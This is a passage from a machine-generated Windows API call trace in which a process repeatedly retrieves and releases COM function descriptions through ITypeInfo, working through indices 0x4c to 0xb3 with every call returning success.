ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x4c, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.910] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.910] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x4d, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.910] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.910] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x4e, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.910] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.910] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x4f, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.910] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.910] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x50, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.910] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.910] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x51, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.910] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.910] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x52, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.910] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.910] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x53, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.910] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.910] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x54, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.910] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.910] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x55, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.910] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.910] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x56, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.910] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.910] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x57, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.910] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.910] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x58, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.910] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.911] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x59, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.911] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.911] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x5a, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.911] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.911] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x5b, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.911] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.911] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x5c, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.911] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.911] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x5d, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.911] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.911] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x5e, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.911] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.911] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x5f, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.911] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.911] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x60, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.911] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.911] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x61, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.911] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.911] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x62, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.911] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.911] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x63, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.911] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.911] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x64, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.911] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.911] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x65, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.911] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.911] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x66, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.911] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.911] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x67, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.911] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.911] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x68, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.911] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.911] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x69, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.911] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.911] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x6a, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.911] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.911] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x6b, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.911] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.911] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x6c, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.911] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.911] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x6d, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.911] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.911] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x6e, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.911] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.911] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x6f, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.911] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.911] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x70, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.911] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.911] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x71, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.911] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.911] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x72, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.911] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.911] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x73, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.911] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.911] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x74, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.911] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.911] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x75, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.911] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.912] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x76, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.912] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.912] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x77, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.912] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.912] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x78, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.912] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.912] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x79, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.912] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.912] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x7a, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.912] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.912] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x7b, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.912] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.912] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x7c, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.912] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.912] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x7d, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.912] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.912] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x7e, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.912] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.912] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x7f, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.912] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.912] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x80, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.912] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.912] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x81, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.912] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.912] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x82, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.912] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.912] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x83, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.912] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.912] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x84, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.912] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.912] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x85, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.912] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.912] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x86, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.912] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.912] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x87, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.912] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.912] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x88, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.912] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.912] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x89, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.912] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.912] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x8a, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.912] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.912] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x8b, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.913] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.913] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x8c, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.913] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.913] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x8d, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.913] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.913] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x8e, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.913] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.913] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x8f, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.913] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.913] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x90, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.913] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.913] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x91, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.913] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.913] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x92, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.913] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.913] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x93, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.913] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.913] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x94, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.913] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.913] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x95, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.913] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.913] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x96, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.913] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.913] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x97, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.913] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.913] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x98, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.913] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.913] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x99, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.913] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.913] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x9a, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.913] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.913] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x9b, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.913] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.913] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x9c, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.913] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.913] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x9d, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.913] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.913] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x9e, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.913] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.913] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x9f, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.913] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.913] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa0, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.913] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.913] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa1, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.913] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.913] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa2, ppFuncDesc=0x267128, pDummy=0x460 | out: ppFuncDesc=0x267128, pDummy=0x460) returned 0x0 [0036.913] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.913] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa3, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.913] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.913] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa4, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.913] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.913] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa5, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.913] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.913] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa6, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.914] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.914] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa7, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.914] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.914] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa8, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.914] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.914] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa9, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.914] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.914] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xaa, ppFuncDesc=0x267128, pDummy=0x460 | out: ppFuncDesc=0x267128, pDummy=0x460) returned 0x0 [0036.914] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.914] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xab, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.914] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.914] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xac, ppFuncDesc=0x267128, pDummy=0x460 | out: ppFuncDesc=0x267128, pDummy=0x460) returned 0x0 [0036.914] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.914] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xad, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.914] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.914] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xae, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.914] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.914] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xaf, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.914] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.914] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb0, ppFuncDesc=0x267128, pDummy=0x460 | out: ppFuncDesc=0x267128, pDummy=0x460) returned 0x0 [0036.914] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.914] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb1, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.914] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.914] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb2, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.914] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.914] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb3, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.914] 